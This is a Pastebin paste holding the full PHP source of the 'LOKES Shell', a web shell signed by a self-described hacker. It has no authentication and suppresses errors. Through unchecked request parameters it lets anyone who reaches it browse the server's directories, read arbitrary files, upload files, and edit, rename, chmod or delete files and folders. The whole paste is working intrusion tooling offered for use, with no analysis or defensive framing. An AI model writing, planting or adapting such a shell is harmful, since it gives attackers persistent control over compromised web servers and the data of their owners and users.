Advertisement
Guest User

testing3

a guest
Jul 21st, 2018
347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.80 KB | None | 0 0
  1. set_time_limit(0);
  2. error_reporting(0);
  3.  
  4. if(get_magic_quotes_gpc()){
  5.     foreach($_POST as $key=>$value){
  6.         $_POST[$key] = stripslashes($value);
  7.     }
  8. }
  9. echo '<!DOCTYPE HTML>
  10. <HTML>
  11. <HEAD>
  12. <link href="" rel="stylesheet" type="text/css">
  13. <title>L o k e s Shell</title>
  14. <style>
  15. body{
  16. font-family: "console", cursive;
  17. background-color: black;
  18. text-shadow:0px 0px 1px white
  19. }
  20. #content tr:hover{
  21. background-color: white;
  22. text-shadow:0px 0px 10px white;
  23. }
  24. #content .first{
  25. background-color: white;
  26. }
  27. #content .first:hover{
  28. background-color: gold;
  29. text-shadow:0px 0px 1px #0000FF;
  30. }
  31. table{
  32. border: 1px white;
  33. }
  34. H1{
  35. font-family: "Eggs", white;
  36. }
  37. a{
  38. color: gold;
  39. text-decoration: none;
  40. }
  41. a:hover{
  42. color: white;
  43. text-shadow:0px 0px 10px #ffffff;
  44. }
  45. input,select,textarea{
  46. border: 2px #FF0000 solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50. }
  51. </style>
  52. </HEAD>
  53. <BODY>
  54. <center><img src="https://e.top4top.net/p_923kfiw83.png" width="260" height="280"/></center>
  55. <H1><center>LOKES Shell</center></H1>
  56. <table width="700" border="green" cellpadding="3" ceslspacing="1" align="center">
  57. echo"<center>instagram : LOKES_HACKER - twitter : x1337L</center> ";
  58.    
  59. <tr><td>Current Path : ';
  60. if(isset($_GET['path'])){
  61.     $path = $_GET['path'];  
  62. }else{
  63.     $path = getcwd();
  64. }
  65. $path = str_replace('\\','/',$path);
  66. $paths = explode('/',$path);
  67.  
  68. foreach($paths as $id=>$pat){
  69.     if($pat == '' && $id == 0){
  70.         $a = true;
  71.         echo '<a href="?path=/">/</a>';
  72.         continue;
  73.     }
  74.     if($pat == '') continue;
  75.     echo'<a href="?path=';
  76.     for($i=0;$i<=$id;$i++){
  77.         echo "$paths[$i]";
  78.         if($i != $id) echo "/";
  79.     }
  80.     echo '">'.$pat.'</a>/';
  81. }
  82. echo '</td></tr><tr><td>';
  83. if(isset($_FILES['file'])){
  84.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  85.         echo '<font color="green">File Upload Done.</font><br />';
  86.     }else{
  87.         echo '<font color="red">File Upload Error.</font><br />';
  88.     }
  89. }
  90. echo '<b><br>'.php_uname().'<br></b>';
  91. echo '<form enctype="multipart/form-data" method="POST">
  92. Upload File : <input type="file" name="file" />
  93. <input type="submit" value="upload" />
  94. </form>
  95. </td></tr>';
  96. if(isset($_GET['filesrc'])){
  97.     echo "<tr><td>Current File : ";
  98.     echo $_GET['filesrc'];
  99.     echo '</tr></td></table><br />';
  100.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  101. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  102.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  103.     if($_POST['opt'] == 'chmod'){
  104.         if(isset($_POST['perm'])){
  105.             if(chmod($_POST['path'],$_POST['perm'])){
  106.                 echo '<font color="green">Change Permission Done.</font><br />';
  107.             }else{
  108.                 echo '<font color="red">Change Permission Error.</font><br />';
  109.             }
  110.         }
  111.         echo '<form method="POST">
  112.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  113.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  114.        <input type="hidden" name="opt" value="chmod">
  115.        <input type="submit" value="Go" />
  116.        </form>';
  117.     }elseif($_POST['opt'] == 'rename'){
  118.         if(isset($_POST['newname'])){
  119.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  120.                 echo '<font color="green">Change Name Done.</font><br />';
  121.             }else{
  122.                 echo '<font color="red">Change Name Error.</font><br />';
  123.             }
  124.             $_POST['name'] = $_POST['newname'];
  125.         }
  126.         echo '<form method="POST">
  127.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  128.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  129.        <input type="hidden" name="opt" value="rename">
  130.        <input type="submit" value="Go" />
  131.        </form>';
  132.     }elseif($_POST['opt'] == 'edit'){
  133.         if(isset($_POST['src'])){
  134.             $fp = fopen($_POST['path'],'w');
  135.             if(fwrite($fp,$_POST['src'])){
  136.                 echo '<font color="green">Edit File Done.</font><br />';
  137.             }else{
  138.                 echo '<font color="red">Edit File Error.</font><br />';
  139.             }
  140.             fclose($fp);
  141.         }
  142.         echo '<form method="POST">
  143.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  144.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  145.        <input type="hidden" name="opt" value="edit">
  146.        <input type="submit" value="Go" />
  147.        </form>';
  148.     }
  149.     echo '</center>';
  150. }else{
  151.     echo '</table><br /><center>';
  152.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  153.         if($_POST['type'] == 'dir'){
  154.             if(rmdir($_POST['path'])){
  155.                 echo '<font color="green">Delete Dir Done.</font><br />';
  156.             }else{
  157.                 echo '<font color="red">Delete Dir Error.</font><br />';
  158.             }
  159.         }elseif($_POST['type'] == 'file'){
  160.             if(unlink($_POST['path'])){
  161.                 echo '<font color="green">Delete File Done.</font><br />';
  162.             }else{
  163.                 echo '<font color="red">Delete File Error.</font><br />';
  164.             }
  165.         }
  166.     }
  167.     echo '</center>';
  168.     $scandir = scandir($path);
  169.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  170.    <tr class="first">
  171.        <td><center>Name</center></td>
  172.        <td><center>Size</center></td>
  173.        <td><center>Permissions</center></td>
  174.        <td><center>Options</center></td>
  175.    </tr>';
  176.  
  177.     foreach($scandir as $dir){
  178.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  179.         echo "<tr>
  180.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  181.        <td><center>--</center></td>
  182.        <td><center>";
  183.         if(is_writable("$path/$dir")) echo '<font color="green">';
  184.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  185.         echo perms("$path/$dir");
  186.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  187.        
  188.         echo "</center></td>
  189.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  190.        <select name=\"opt\">
  191.         <option value=\"\"></option>
  192.        <option value=\"delete\">Delete</option>
  193.        <option value=\"chmod\">Chmod</option>
  194.        <option value=\"rename\">Rename</option>
  195.        </select>
  196.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  197.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  198.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  199.        <input type=\"submit\" value=\">\" />
  200.        </form></center></td>
  201.        </tr>";
  202.     }
  203.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  204.     foreach($scandir as $file){
  205.         if(!is_file("$path/$file")) continue;
  206.         $size = filesize("$path/$file")/1024;
  207.         $size = round($size,3);
  208.         if($size >= 1024){
  209.             $size = round($size/1024,2).' MB';
  210.         }else{
  211.             $size = $size.' KB';
  212.         }
  213.  
  214.         echo "<tr>
  215.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  216.        <td><center>".$size."</center></td>
  217.        <td><center>";
  218.         if(is_writable("$path/$file")) echo '<font color="green">';
  219.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  220.         echo perms("$path/$file");
  221.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  222.         echo "</center></td>
  223.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  224.        <select name=\"opt\">
  225.         <option value=\"\"></option>
  226.        <option value=\"delete\">Delete</option>
  227.        <option value=\"chmod\">Chmod</option>
  228.        <option value=\"rename\">Rename</option>
  229.        <option value=\"edit\">Edit</option>
  230.        </select>
  231.        <input type=\"hidden\" name=\"type\" value=\"file\">
  232.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  233.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  234.        <input type=\"submit\" value=\">\" />
  235.        </form></center></td>
  236.        </tr>";
  237.     }
  238.     echo '</table>
  239.    </div>';
  240. }
  241. echo '<br />L o k e s || Shell <font color="red">1.0</font>, Devloped By <font color="red">L o k e s _ Hacker(the source has been moved and devloped)</font><br />Email: <font color="red">vqqs@hotmail.com</font>
  242. </BODY>
  243. </HTML>';
  244. function perms($file){
  245.     $perms = fileperms($file);
  246.  
  247. if (($perms & 0xC000) == 0xC000) {
  248.     // Socket
  249.     $info = 's';
  250. } elseif (($perms & 0xA000) == 0xA000) {
  251.     // Symbolic Link
  252.     $info = 'l';
  253. } elseif (($perms & 0x8000) == 0x8000) {
  254.     // Regular
  255.     $info = '-';
  256. } elseif (($perms & 0x6000) == 0x6000) {
  257.     // Block special
  258.     $info = 'b';
  259. } elseif (($perms & 0x4000) == 0x4000) {
  260.     // Directory
  261.     $info = 'd';
  262. } elseif (($perms & 0x2000) == 0x2000) {
  263.     // Character special
  264.     $info = 'c';
  265. } elseif (($perms & 0x1000) == 0x1000) {
  266.     // FIFO pipe
  267.     $info = 'p';
  268. } else {
  269.     // Unknown
  270.     $info = 'u';
  271. }
  272.  
  273. // Owner
  274. $info .= (($perms & 0x0100) ? 'r' : '-');
  275. $info .= (($perms & 0x0080) ? 'w' : '-');
  276. $info .= (($perms & 0x0040) ?
  277.             (($perms & 0x0800) ? 's' : 'x' ) :
  278.             (($perms & 0x0800) ? 'S' : '-'));
  279.  
  280. // Group
  281. $info .= (($perms & 0x0020) ? 'r' : '-');
  282. $info .= (($perms & 0x0010) ? 'w' : '-');
  283. $info .= (($perms & 0x0008) ?
  284.             (($perms & 0x0400) ? 's' : 'x' ) :
  285.             (($perms & 0x0400) ? 'S' : '-'));
  286.  
  287. // World
  288. $info .= (($perms & 0x0004) ? 'r' : '-');
  289. $info .= (($perms & 0x0002) ? 'w' : '-');
  290. $info .= (($perms & 0x0001) ?
  291.             (($perms & 0x0200) ? 't' : 'x' ) :
  292.             (($perms & 0x0200) ? 'T' : '-'));
  293.  
  294.     return $info;
  295. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement